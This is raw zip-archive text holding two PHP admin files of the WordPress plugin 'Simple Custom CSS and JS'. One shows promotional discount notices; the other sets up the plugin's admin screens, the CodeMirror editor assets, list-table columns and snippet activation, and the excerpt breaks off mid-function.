??PK     ]t]$Ã�ü‘  ‘    includes/admin-notices.phpnu ÕIw¶´        <?php
/**
 * Custom CSS and JS
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_Notices
 */
class CustomCSSandJS_Notices {

    var $prefix = 'ccj_';
    var $activation_time = '';
    var $version = '';
    var $dismiss_notice = '';
    var $expiration_days = 2;

    /**
     * Constructor
     */
    public function __construct() {

        $this->set_variables();

        if ( $this->dismiss_notice == 1 ) {
            return;
        }

        $p = $this->prefix;

        add_action( 'admin_notices', array( $this, 'admin_notices' ) );
        add_action( 'wp_ajax_'.$p.'_notice_dismiss', array( $this, 'notice_dismiss' ) );
    }

    /**
     * Hooked from 'admin_notices'
     */
    public function admin_notices() {
        $screen = get_current_screen();

        if ( !isset($screen->post_type) || $screen->post_type !== 'custom-css-js' )
            return;

        if ( ! $notice = $this->choose_notice() )
            return;

        if ( time() - $this->activation_time <= 3600 )
            return;

        $message = $this->get_message( $notice );

        $this->print_message( $notice, $message );
       
    }

    /**
     * Get the options from the database or set them on install or upgrade
     */
    public function set_variables() {
        $now = time();
        $p = $this->prefix;

        $this->activation_time = get_option( $p . '_activation_time', '' );
        $this->version = get_option( $p.'_version', '' );
        $this->dismiss_notice = get_option( $p.'_dismiss_notice', false );

        if ( empty( $this->activation_time ) || version_compare( $this->version, CCJ_VERSION, '<' ) ) {
            $this->activation_time = $now; 
            update_option( $p.'_activation_time', $now );
            update_option( $p.'_version', CCJ_VERSION );
            update_option( $p.'_dismiss_notice', false );
        }

    }

    /**
     * Choose which notice to be shown
     */
    public function choose_notice() {
        $now = time();

        $days_passed = floor( ( $now - $this->activation_time ) / 86400 );

        switch ( $days_passed ) {
            case 0 : return '1_day';
            case 1 : return '2_day';
            case 2 : break; //return '3_day';
            case 3 : break;
            case 4 : break;
            case 5 : break;
            case 6 : break; // return '7_day';
            case 7 : break;
            case 8 : break;
            case 9 : break;
            case 10 : break;
            case 11 : break; //return '12_day';
			default: break;
        }
    }

    /**
     * Get the text of the message
     */
    public function get_message( $notice ) {

        $message = '';
        $percentage = '30';
        $product_name = 'Simple Custom CSS and JS PRO';

        $expiration_date = $this->activation_time + ( $this->expiration_days * 86400 ); 
        $expiration_date = date( get_option( 'date_format') , $expiration_date );

        $expiration_period = date('j M', $this->activation_time - 3*86400 ) . ' - ' . date('j M', $this->activation_time + 2*86400 );


        if ( $notice == '12_days' ) {
            $link = 'https://www.silkypress.com/simple-custom-css-js-pro/?utm_source=wordpress&utm_campaign=ccj_free&utm_medium=banner';
        } else {
            $link = 'https://www.silkypress.com/simple-custom-css-js-pro/?a=' . $this->convert_numbers_letters( $this->activation_time ) . '&utm_source=wordpress&utm_campaign=ccj_free&utm_medium=banner';
        }

        $lower_part = sprintf( '<div style="margin-top: 7px;"><a href="%s" target="_blank">%s</a> | <a href="#" class="dismiss_notice"  target="_parent">%s</a></div>', $link, __('Get your discount now', 'custom-css-js'), __('Dismiss this notice', 'custom-css-js') ); 

        switch ( $notice ) {
            case '1_day' :
                $message = '<div>Only between '. $expiration_period .': <b>'.$percentage.'% Off from <a href="'.$link.'" target="_blank">'.$product_name.'</a></b> for our WordPress.org users.</div>' . $lower_part;
                break;

            case '2_day' : 
                $message = '<div><b>Limited offer ending today</b>. '.$percentage.'% Off from <a href="'.$link.'" target="_blank">'.$product_name.'</a> for our WordPress.org users. </div>' . $lower_part;
                break;

            case '3_day' : 
                $message = '<div><b>Limited offer ending today</b>. '.$percentage.'% Off from '.$product_name.' for our WordPress.org users. </div>' . $lower_part;
                break;

            case '7_day' :
                $message = '';
                break;

            case '12_day' :
                $message = '<div><b>Special Offer</b>: 30% Off from '.$product_name.' for our WordPress.org users.</div>' . $lower_part;
                break;
        }

        return $message;
    }



    /**
     * Print the message
     */
    public function print_message( $option_name = '', $message = '' ) {
        if ( empty( $message ) || empty( $option_name ) )
            return;

        $p = $this->prefix;

            ?>
            <style type="text/css">
                .<?php echo $p; ?>_note{ color: #bc1117; }
                #<?php echo $p; ?>_notice { display: block; padding:  }
                #<?php echo $p; ?>_notice b { color: #bc1117; }
                #<?php echo $p; ?>_notice a { text-decoration: none; font-weight: bold; }
                #<?php echo $p; ?>_notice a.dismiss_notice { font-weight: normal; }
            </style>

            <script type='text/javascript'>
                jQuery(function($){
                    $(document).on( 'click', '.<?php echo $p; ?>_notice .dismiss_notice', function() {
                        var data = {
                            action: '<?php echo $p; ?>_notice_dismiss',
                            option: '<?php echo $option_name; ?>',
                            nonce: $(this).parent().parent().data('nonce'),
                        };
                        $.post(ajaxurl, data, function(response ) {
                            $('#<?php echo $p; ?>_notice').fadeOut('slow');
                        });
                    });
                });
            </script>

                <div id="<?php echo $p; ?>_notice" class="updated notice <?php echo $p; ?>_notice is-dismissible" data-nonce="<?php echo wp_create_nonce( $this->prefix .'_notice'); ?>">
            <p><?php echo $message ?></p>
            <button type="button" class="notice-dismiss">
            <span class="screen-reader-text"><?php _e('Dismiss this notice'); ?></span>
            </button>
            </div>
<?php

    }

    function convert_numbers_letters( $text, $from = 'numbers' ) {
        $alphabet = str_split('abcdefghij');
        $numbers = str_split('0123456789');

        if ( $from == 'numbers' ) {
            return str_replace( $numbers, $alphabet, $text );
        } else {
            return str_replace( $alphabet, $numbers, $text );
        }
    }

    /**
     * Ajax response for `notice_dismiss` action
     */
    function notice_dismiss() {
        $p = $this->prefix;

        check_ajax_referer( $p . '_notice', 'nonce' );

        update_option( $p.'_dismiss_notice', 1 );

        wp_die();
    }
}


return new CustomCSSandJS_Notices();
PK     ]t]À�ÊÕ»ß  »ß    includes/admin-screens.phpnu ÕIw¶´        <?php
/**
 * Custom CSS and JS
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * CustomCSSandJS_Admin
 */
class CustomCSSandJS_Admin {

	/**
	 * Default options for a new page
	 */
	private $default_options = array(
		'type'     => 'header',
		'linking'  => 'internal',
		'side'     => 'frontend',
		'priority' => 5,
		'language' => 'css',
	);

	/**
	 * Array with the options for a specific custom-css-js post
	 */
	private $options = array();

	/**
	 * Constructor
	 */
	public function __construct() {

		$this->add_functions();
	}

	/**
	 * Add actions and filters
	 */
	function add_functions() {

		// Add filters
		$filters = array(
			'manage_custom-css-js_posts_columns' => 'manage_custom_posts_columns',
		);
		foreach ( $filters as $_key => $_value ) {
			add_filter( $_key, array( $this, $_value ) );
		}

		// Add actions
		$actions = array(
			'admin_menu'                 => 'admin_menu',
			'admin_enqueue_scripts'      => 'admin_enqueue_scripts',
			'current_screen'             => 'current_screen',
			'admin_notices'              => 'create_uploads_directory',
			'edit_form_after_title'      => 'codemirror_editor',
			'add_meta_boxes'             => 'add_meta_boxes',
			'save_post'                  => 'options_save_meta_box_data',
			'trashed_post'               => 'trash_post',
			'untrashed_post'             => 'trash_post',
			'wp_ajax_ccj_active_code'    => 'wp_ajax_ccj_active_code',
			'wp_ajax_ccj_permalink'      => 'wp_ajax_ccj_permalink',
			'post_submitbox_start'       => 'post_submitbox_start',
			'restrict_manage_posts'      => 'restrict_manage_posts',
			'load-post.php'              => 'contextual_help',
			'load-post-new.php'          => 'contextual_help',
			'edit_form_before_permalink' => 'edit_form_before_permalink',
			'before_delete_post'         => 'before_delete_post',
		);
		foreach ( $actions as $_key => $_value ) {
			add_action( $_key, array( $this, $_value ) );
		}

		// Add some custom actions/filters
		add_action( 'manage_custom-css-js_posts_custom_column', array( $this, 'manage_posts_columns' ), 10, 2 );
		add_filter( 'manage_edit-custom-css-js_sortable_columns', array( $this, 'manage_edit_posts_sortable_columns' ) );
		add_action( 'posts_orderby', array( $this, 'posts_orderby' ), 10, 2 );
		add_action( 'posts_join_paged', array( $this, 'posts_join_paged' ), 10, 2 );
		add_action( 'posts_where_paged', array( $this, 'posts_where_paged' ), 10, 2 );
		add_filter( 'post_row_actions', array( $this, 'post_row_actions' ), 10, 2 );
		add_filter( 'parse_query', array( $this, 'parse_query' ), 10 );
		add_filter( 'wp_statuses_get_supported_post_types', array( $this, 'wp_statuses_get_supported_post_types' ), 20 );

		add_action( 'current_screen', array( $this, 'current_screen_2' ), 100 );

	}


	/**
	 * Add submenu pages
	 */
	function admin_menu() {
		$menu_slug    = 'edit.php?post_type=custom-css-js';
		$submenu_slug = 'post-new.php?post_type=custom-css-js';

		remove_submenu_page( $menu_slug, $submenu_slug );

		$title = __( 'Add Custom CSS', 'custom-css-js' );
		add_submenu_page( $menu_slug, $title, $title, 'publish_custom_csss', $submenu_slug . '&#038;language=css' );

		$title = __( 'Add Custom JS', 'custom-css-js' );
		add_submenu_page( $menu_slug, $title, $title, 'publish_custom_csss', $submenu_slug . '&#038;language=js' );

		$title = __( 'Add Custom HTML', 'custom-css-js' );
		add_submenu_page( $menu_slug, $title, $title, 'publish_custom_csss', $submenu_slug . '&#038;language=html' );

	}


	/**
	 * Enqueue the scripts and styles
	 */
	public function admin_enqueue_scripts( $hook ) {

		$screen = get_current_screen();

		// Only for custom-css-js post type
		if ( $screen->post_type != 'custom-css-js' ) {
			return false;
		}

		// Some handy variables
		$a  = plugins_url( '/', CCJ_PLUGIN_FILE ) . 'assets';
		$cm = $a . '/codemirror';
		$v  = CCJ_VERSION;

		wp_enqueue_script( 'ccj-tipsy', $a . '/jquery.tipsy.js', array( 'jquery' ), $v, false );
		wp_enqueue_style( 'ccj-tipsy', $a . '/tipsy.css', array(), $v );
		wp_enqueue_script( 'ccj-cookie', $a . '/js.cookie.js', array( 'jquery' ), $v, false );
		wp_register_script( 'ccj-admin', $a . '/ccj_admin.js', array( 'jquery', 'jquery-ui-resizable' ), $v, false );
		wp_localize_script( 'ccj-admin', 'CCJ', $this->cm_localize() );
		wp_enqueue_script( 'ccj-admin' );
		wp_enqueue_style( 'ccj-admin', $a . '/ccj_admin.css', array(), $v );

		// Only for the new/edit Code's page
		if ( $hook == 'post-new.php' || $hook == 'post.php' ) {
			wp_deregister_script( 'wp-codemirror' );

			wp_enqueue_style( 'jquery-ui', 'https://code.jquery.com/ui/1.12.0/themes/base/jquery-ui.css', array(), $v );
			wp_enqueue_script( 'ccj-codemirror', $cm . '/lib/codemirror.js', array( 'jquery' ), $v, false );
			wp_enqueue_style( 'ccj-codemirror', $cm . '/lib/codemirror.css', array(), $v );
			wp_enqueue_script( 'ccj-admin_url_rules', $a . '/ccj_admin-url_rules.js', array( 'jquery' ), $v, false );

			// Add the language modes
			$cmm = $cm . '/mode/';
			wp_enqueue_script( 'cm-xml', $cmm . 'xml/xml.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-js', $cmm . 'javascript/javascript.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-css', $cmm . 'css/css.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-htmlmixed', $cmm . 'htmlmixed/htmlmixed.js', array( 'ccj-codemirror' ), $v, false );

			$cma = $cm . '/addon/';
			wp_enqueue_script( 'ccj-closebrackets', $cma . 'edit/closebrackets.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-matchbrackets', $cma . 'edit/matchbrackets.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-matchtags', $cma . 'edit/matchtags.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-dialog', $cma . 'dialog/dialog.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-search', $cma . 'search/search.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-searchcursor', $cma . 'search/searchcursor.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'cm-jump-to-line', $cma . 'search/jump-to-line.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fullscreen', $cma . 'display/fullscreen.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_style( 'cm-dialog', $cma . 'dialog/dialog.css', array(), $v );
			wp_enqueue_script( 'ccj-formatting', $cm . '/lib/util/formatting.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-comment', $cma . 'comment/comment.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-active-line', $cma . 'selection/active-line.js', array( 'ccj-codemirror' ), $v, false );

			// Hint Addons
			wp_enqueue_script( 'ccj-hint', $cma . 'hint/show-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-hint-js', $cma . 'hint/javascript-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-hint-xml', $cma . 'hint/xml-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-hint-html', $cma . 'hint/html-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-hint-css', $cma . 'hint/css-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-hint-anyword', $cma . 'hint/anyword-hint.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_style( 'ccj-hint', $cma . 'hint/show-hint.css', array(), $v );

			// Fold Addons
			wp_enqueue_script( 'ccj-fold-brace', $cma . 'fold/brace-fold.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-comment', $cma . 'fold/comment-fold.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-code', $cma . 'fold/foldcode.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-gutter', $cma . 'fold/foldgutter.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-indent', $cma . 'fold/indent-fold.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-markdown', $cma . 'fold/markdown-fold.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_script( 'ccj-fold-xml', $cma . 'fold/xml-fold.js', array( 'ccj-codemirror' ), $v, false );
			wp_enqueue_style( 'ccj-fold-gutter', $cma . 'fold/foldgutter.css', array(), $v );

			// remove the assets from other plugins so it doesn't interfere with CodeMirror
			global $wp_scripts;
			if ( is_array( $wp_scripts->registered ) && count( $wp_scripts->registered ) != 0 ) {
				foreach ( $wp_scripts->registered as $_key => $_value ) {
					if ( ! isset( $_value->src ) ) {
						continue;
					}

					if ( strstr( $_value->src, 'wp-content/plugins' ) !== false
					&& strstr( $_value->src, 'plugins/custom-css-js/assets' ) === false
					&& strstr( $_value->src, 'plugins/advanced-custom-fields/' ) === false
					&& strstr( $_value->src, 'plugins/wp-jquery-update-test/' ) === false
					&& strstr( $_value->src, 'plugins/enable-jquery-migrate-helper/' ) === false
					&& strstr( $_value->src, 'plugins/tablepress/' ) === false
					&& strstr( $_value->src, 'plugins/advanced-custom-fields-pro/' ) === false ) {
						unset( $wp_scripts->registered[ $_key ] );
					}
				}
			}
			// remove the CodeMirror library added by the Product Slider for WooCommerce plugin by ShapedPlugin
			wp_enqueue_style( 'spwps-codemirror', $a . '/empty.css', '1.0' );
			wp_enqueue_script( 'spwps-codemirror', $a . '/empty.js', array(), '1.0', true );
		}
	}


	/**
	 * Send variables to the ccj_admin.js script
	 */
	public function cm_localize() {

		global $wp_version;

		$settings = get_option( 'ccj_settings', array() );

		$vars = array(
			'wp_version'     => $wp_version,
			'autocomplete'   => isset( $settings['ccj_autocomplete'] ) && ! $settings['ccj_autocomplete'] ? false : true,
			'active'         => __( 'Active', 'custom-css-js' ),
			'inactive'       => __( 'Inactive', 'custom-css-js' ),
			'activate'       => __( 'Activate', 'custom-css-js' ),
			'deactivate'     => __( 'Deactivate', 'custom-css-js' ),
			'active_title'   => __( 'The code is active. Click to deactivate it', 'custom-css-js' ),
			'deactive_title' => __( 'The code is inactive. Click to activate it', 'custom-css-js' ),

			/* CodeMirror options */
			'codemirror' => array(
				'indentUnit'       => 4,
				'indentWithTabs'   => true,
				'inputStyle'       => 'contenteditable',
				'lineNumbers'      => true,
				'lineWrapping'     => true,
				'styleActiveLine'  => true,
				'continueComments' => true,
				'extraKeys'        => array(
					'Ctrl-Space' => 'autocomplete',
					'Cmd-Space'  => 'autocomplete',
					'Ctrl-/'     => 'toggleComment',
					'Cmd-/'      => 'toggleComment',
					'Alt-F'      => 'findPersistent',
					'Ctrl-F'     => 'findPersistent',
					'Cmd-F'      => 'findPersistent',
					'Ctrl-J'     =>  'toMatchingTag',
				),
				'direction'        => 'ltr', // Code is shown in LTR even in RTL languages.
				'gutters'          => array( 'CodeMirror-lint-markers' ),
				'matchBrackets'    => true,
				'matchTags'        => array( 'bothTags' => true ),
				'autoCloseBrackets' => true,
				'autoCloseTags'    => true,
			)
		);

		return apply_filters( 'ccj_code_editor_settings', $vars);
	}

	public function add_meta_boxes() {
		add_meta_box( 'custom-code-options', __( 'Options', 'custom-css-js' ), array( $this, 'custom_code_options_meta_box_callback' ), 'custom-css-js', 'side', 'low' );

		remove_meta_box( 'slugdiv', 'custom-css-js', 'normal' );
	}



	/**
	 * Get options for a specific custom-css-js post
	 */
	private function get_options( $post_id ) {
		if ( isset( $this->options[ $post_id ] ) ) {
			return $this->options[ $post_id ];
		}

		$options = get_post_meta( $post_id );
		if ( empty( $options ) || ! isset( $options['options'][0] ) ) {
			$this->options[ $post_id ] = $this->default_options;
			return $this->default_options;
		}

		if ( is_array( $options['options'][0] ) && isset( $options['options'][0]['type'] ) ) {
			return $options['options'][0];
		}

		$options                   = @unserialize( $options['options'][0] );
		$this->options[ $post_id ] = $options;
		return $options;
	}


	/**
	 * Reformat the `edit` or the `post` screens
	 */
	function current_screen( $current_screen ) {

		if ( $current_screen->post_type != 'custom-css-js' ) {
			return false;
		}

		if ( $current_screen->base == 'post' ) {
			add_action( 'admin_head', array( $this, 'current_screen_post' ) );
		}

		if ( $current_screen->base == 'edit' ) {
			add_action( 'admin_head', array( $this, 'current_screen_edit' ) );
		}

		wp_deregister_script( 'autosave' );
	}



	/**
	 * Add the buttons in the `edit` screen
	 */
	function add_new_buttons() {
		$current_screen = get_current_screen();

		if ( ( isset( $current_screen->action ) && $current_screen->action == 'add' ) || $current_screen->post_type != 'custom-css-js' ) {
			return false;
		}
		?>
	<div class="updated buttons">
	<a href="post-new.php?post_type=custom-css-js&language=css" class="custom-btn custom-css-btn"><?php _e( 'Add CSS code', 'custom-css-js' ); ?></a>
	<a href="post-new.php?post_type=custom-css-js&language=js" class="custom-btn custom-js-btn"><?php _e( 'Add JS code', 'custom-css-js' ); ?></a>
	<a href="post-new.php?post_type=custom-css-js&language=html" class="custom-btn custom-js-btn"><?php _e( 'Add HTML code', 'custom-css-js' ); ?></a>
		<!-- a href="post-new.php?post_type=custom-css-js&language=php" class="custom-btn custom-php-btn">Add PHP code</a -->
	</div>
		<?php
	}



	/**
	 * Add new columns in the `edit` screen
	 */
	function manage_custom_posts_columns( $columns ) {
		return array(
			'cb'        => '<input type="checkbox" />',
			'active'    => '<span class="ccj-dashicons dashicons dashicons-star-empty" title="' . __( 'Active', 'custom-css-js' ) . '"></span>',
			'type'      => __( 'Type', 'custom-css-js' ),
			'title'     => __( 'Title' ),
			'author'    => __( 'Author' ),
			'published' => __( 'Published' ),
			'modified'  => __( 'Modified', 'custom-css-js' ),
		);
	}


	/**
	 * Fill the data for the new added columns in the `edit` screen
	 */
	function manage_posts_columns( $column, $post_id ) {

		if ( 'type' === $column ) {
			$options = $this->get_options( $post_id );
			echo '<span class="language language-' . $options['language'] . '">' . $options['language'] . '</span>';
		}

		if ( 'modified' === $column || 'published' === $column ) {
			$post = get_post( $post_id );

			if ( '0000-00-00 00:00:00' === $post->post_date ) {
				$t_time    = __( 'Unpublished' );
				$h_time    = $t_time;
				$time_diff = 0;
			} else {
				$time      = ( 'published' === $column ) ? get_post_time( 'U', true, $post ) : get_post_modified_time( 'U', true, $post );
				$time_diff = time() - $time;

				if ( $time && $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
					/* translators: %s: Human-readable time difference. */
					$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
				} else {
					$h_time = ( 'published' === $column ) ? get_the_time( __( 'Y/m/d' ), $post ) : get_the_modified_time( __( 'Y/m/d' ), $post );
				}
			}

			 echo $h_time;
		}

		if ( 'active' === $column ) {
			$url = wp_nonce_url( admin_url( 'admin-ajax.php?action=ccj_active_code&code_id=' . $post_id ), 'ccj-active-code-' . $post_id );
			if ( $this->is_active( $post_id ) ) {
				$active_title = __( 'The code is active. Click to deactivate it', 'custom-css-js' );
				$active_icon  = 'dashicons-star-filled';
			} else {
				$active_title = __( 'The code is inactive. Click to activate it', 'custom-css-js' );
				$active_icon  = 'dashicons-star-empty ccj_row';
			}
			echo '<a href="' . esc_url( $url ) . '" class="ccj_activate_deactivate" data-code-id="' . $post_id . '" title="' . $active_title . '">' .
				'<span class="dashicons ' . $active_icon . '"></span>' .
				'</a>';
		}
	}


	/**
	 * Make the 'Modified' column sortable
	 */
	function manage_edit_posts_sortable_columns( $columns ) {
		$columns['active']    = 'active';
		$columns['type']      = 'type';
		$columns['modified']  = 'modified';
		$columns['published'] = 'published';
		return $columns;

	}


	/**
	 * List table: Change the query in order to filter by code type
	 */
	function parse_query( $query ) {
		global $wpdb;
		if ( ! is_admin() || ! $query->is_main_query() ) {
			return $query;
		}

		if ( ! isset( $query->query['post_type'] ) ) {
			return $query;
		}

		if ( 'custom-css-js' !== $query->query['post_type'] ) {
			return $query;
		}

		$filter = filter_input( INPUT_GET, 'language_filter' );
		if ( ! is_string( $filter ) || strlen( $filter ) == 0 ) {
			return $query;
		}
		$filter = '%' . $wpdb->esc_like( $filter ) . '%';

		$post_id_query = "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s AND meta_value LIKE %s";
		$post_ids      = $wpdb->get_col( $wpdb->prepare( $post_id_query, 'options', $filter ) );
		if ( ! is_array( $post_ids ) || count( $post_ids ) == 0 ) {
			$post_ids = array( -1 );
		}
		$query->query_vars['post__in'] = $post_ids;

		return $query;
	}


	/**
	 * The "Publish"/"Update" button is missing if the "LH Archived Post Status" plugins is installed.
	 */
	function wp_statuses_get_supported_post_types( $post_types ) {
		unset( $post_types['custom-css-js'] );
		return $post_types;
	}


	/**
	 * List table: add a filter by code type
	 */
	function restrict_manage_posts( $post_type ) {
		if ( 'custom-css-js' !== $post_type ) {
			return;
		}

		$languages = array(
			'css'  => __( 'CSS Codes', 'custom-cs-js' ),
			'js'   => __( 'JS Codes', 'custom-css-js' ),
			'html' => __( 'HTML Codes', 'custom-css-js' ),
		);

		echo '<label class="screen-reader-text" for="custom-css-js-filter">' . esc_html__( 'Filter Code Type', 'custom-css-js' ) . '</label>';
		echo '<select name="language_filter" id="custom-css-js-filter">';
		echo '<option  value="">' . __( 'All Custom Codes', 'custom-css-js' ) . '</option>';
		foreach ( $languages as $_lang => $_label ) {
			$selected = selected( filter_input( INPUT_GET, 'language_filter' ), $_lang, false );
			echo '<option ' . $selected . ' value="' . $_lang . '">' . $_label . '</option>';
		}
		echo '</select>';
	}


	/**
	 * Order table by Type and Active columns
	 */
	function posts_orderby( $orderby, $query ) {
		if ( ! is_admin() ) {
			return $orderby;
		}
		global $wpdb;

		if ( 'custom-css-js' === $query->get( 'post_type' ) && 'type' === $query->get( 'orderby' ) ) {
			$orderby = "REGEXP_SUBSTR( {$wpdb->prefix}postmeta.meta_value, 'js|html|css') " . $query->get( 'order' );
		}
		if ( 'custom-css-js' === $query->get( 'post_type' ) && 'active' === $query->get( 'orderby' ) ) {
			$orderby = "coalesce( postmeta1.meta_value, 'p' ) " . $query->get( 'order' );
		}
		return $orderby;
	}


	/**
	 * Order table by Type and Active columns
	 */
	function posts_join_paged( $join, $query ) {
		if ( ! is_admin() ) {
			return $join;
		}
		global $wpdb;

		if ( 'custom-css-js' === $query->get( 'post_type' ) && 'type' === $query->get( 'orderby' ) ) {
			$join = "LEFT JOIN {$wpdb->prefix}postmeta ON {$wpdb->prefix}posts.ID = {$wpdb->prefix}postmeta.post_id";
		}

		if ( 'custom-css-js' === $query->get( 'post_type' ) && 'active' === $query->get( 'orderby' ) ) {
			$join = "LEFT JOIN (SELECT post_id AS ID, meta_value FROM {$wpdb->prefix}postmeta WHERE meta_key = '_active' ) as postmeta1 USING( ID )";
		}
		return $join;
	}


	/**
	 * Order table by Type and Active columns
	 */
	function posts_where_paged( $where, $query ) {
		if ( ! is_admin() ) {
			return $where;
		}
		global $wpdb;

		if ( 'custom-css-js' === $query->get( 'post_type' ) && 'type' === $query->get( 'orderby' ) ) {
			$where .= " AND {$wpdb->prefix}postmeta.meta_key = 'options'";
		}
		return $where;
	}


	/**
	 * Activate/deactivate a code
	 *
	 * @return void
	 */
	function wp_ajax_ccj_active_code() {
		if ( ! isset( $_GET['code_id'] ) ) {
			die();
		}

		$code_id = absint( $_GET['code_id'] );

		$response = 'error';
		if ( check_admin_referer( 'ccj-active-code-' . $code_id ) ) {

			if ( 'custom-css-js' === get_post_type( $code_id ) ) {
				$active = get_post_meta( $code_id, '_active', true );
				$active = ( $active !== 'no' ) ? $active = 'yes' : 'no';

				update_post_meta( $code_id, '_active', $active === 'yes' ? 'no' : 'yes' );
				$this->build_search_tree();
			}
		}
		echo $active;

		die();
	}

	/**
	 * Check if a code is active
	 *
	 * @return bool
	 */
	function is_active( $post_id ) {
		return get_post_meta( $post_id, '_active', true ) !== 'no';
	}

	/**
	 * Reformat the `edit` screen
	 */
	function current_screen_edit() {
		?>
		<script type="text/javascript">
			 /* <![CDATA[ */
			jQuery(window).ready(function($){
				var h1 = '<?php _e( 'Custom Code', 'custom-css-js' ); ?> ';
				h1 += '<a href="post-new.php?post_type=custom-css-js&language=css" class="page-title-action"><?php _e( 'Add CSS Code', 'custom-css-js' ); ?></a>';
				h1 += '<a href="post-new.php?post_type=custom-css-js&language=js" class="page-title-action"><?php _e( 'Add JS Code', 'custom-css-js' ); ?></a>';
				h1 += '<a href="post-new.php?post_type=custom-css-js&language=html" class="page-title-action"><?php _e( 'Add HTML Code', 'custom-css-js' ); ?></a>';
				$("#wpbody-content h1").html(h1);
			});

		</script>
		<?php
	}


	/**
	 * Reformat the `post` screen
	 */
	function current_screen_post() {

		$this->remove_unallowed_metaboxes();

		$strings = array(
			'Add CSS Code'   => __( 'Add CSS Code', 'custom-css-js' ),
			'Add JS Code'    => __( 'Add JS Code', 'custom-css-js' ),
			'Add HTML Code'  => __( 'Add HTML Code', 'custom-css-js' ),
			'Edit CSS Code'  => __( 'Edit CSS Code', 'custom-css-js' ),
			'Edit JS Code'   => __( 'Edit JS Code', 'custom-css-js' ),
			'Edit HTML Code' => __( 'Edit HTML Code', 'custom-css-js' ),
		);

		if ( isset( $_GET['post'] ) ) {
			$action  = 'Edit';
			$post_id = esc_attr( $_GET['post'] );
		} else {
			$action  = 'Add';
			$post_id = false;
		}
		$language = $this->get_language( $post_id );

		$title = $action . ' ' . strtoupper( $language ) . ' Code';
		$title = ( isset( $strings[ $title ] ) ) ? $strings[ $title ] : $strings['Add CSS Code'];

		if ( $action == 'Edit' ) {
			$title .= ' <a href="post-new.php?post_type=custom-css-js&language=css" class="page-title-action">' . __( 'Add CSS Code', 'custom-css-js' ) . '</a> ';
			$title .= '<a href="post-new.php?post_type=custom-css-js&language=js" class="page-title-action">' . __( 'Add JS Code', 'custom-css-js' ) . '</a>';
			$title .= '<a href="post-new.php?post_type=custom-css-js&language=html" class="page-title-action">' . __( 'Add HTML Code', 'custom-css-js' ) . '</a>';
		}

		?>
		<style type="text/css">
			#post-body-content, .edit-form-section { position: static !important; }
			#ed_toolbar { display: none; }
			#postdivrich { display: none; }
		</style>
		<script type="text/javascript">
			 /* <![CDATA[ */
			jQuery(window).ready(function($){
				$("#wpbody-content h1").html('<?php echo $title; ?>');
				$("#message.updated.notice").html('<p><?php _e( 'Code updated', 'custom-css-js' ); ?></p>');

				var from_top = -$("#normal-sortables").height();
				if ( from_top != 0 ) {
					$(".ccj_only_premium-first").css('margin-top', from_top.toString() + 'px' );
				} else {
					$(".ccj_only_premium-first").hide();
				}
			});
			/* ]]> */
		</script>
		<?php
	}


	/**
	 * Remove unallowed metaboxes from custom-css-js edit page
	 *
	 * Use the custom-css-js-meta-boxes filter to add/remove allowed metaboxdes on the page
	 */
	function remove_unallowed_metaboxes() {
		global $wp_meta_boxes;

		// Side boxes
		$allowed = array( 'submitdiv', 'custom-code-options' );

		$allowed = apply_filters( 'custom-css-js-meta-boxes', $allowed );

		foreach ( $wp_meta_boxes['custom-css-js']['side'] as $_priority => $_boxes ) {
			foreach ( $_boxes as $_key => $_value ) {
				if ( ! in_array( $_key, $allowed ) ) {
					unset( $wp_meta_boxes['custom-css-js']['side'][ $_priority ][ $_key ] );
				}
			}
		}

		// Normal boxes
		$allowed = array( 'slugdiv', 'previewdiv', 'url-rules', 'revisionsdiv' );

		$allowed = apply_filters( 'custom-css-js-meta-boxes-normal', $allowed );

		foreach ( $wp_meta_boxes['custom-css-js']['normal'] as $_priority => $_boxes ) {
			foreach ( $_boxes as $_key => $_value ) {
				if ( ! in_array( $_key, $allowed ) ) {
					unset( $wp_meta_boxes['custom-css-js']['normal'][ $_priority ][ $_key ] );
				}
			}
		}

		unset( $wp_meta_boxes['custom-css-js']['advanced'] );
	}



	/**
	 * Add the codemirror editor in the `post` screen
	 */
	public function codemirror_editor( $post ) {

		$current_screen = get_current_screen();

		if ( $current_screen->post_type != 'custom-css-js' ) {
			return false;
		}

		if ( empty( $post->post_title ) && empty( $post->post_content ) ) {
			$new_post = true;
			$post_id  = false;
		} else {
			$new_post = false;
			if ( ! isset( $_GET['post'] ) ) {
				$_GET['post'] = $post->id;
			}
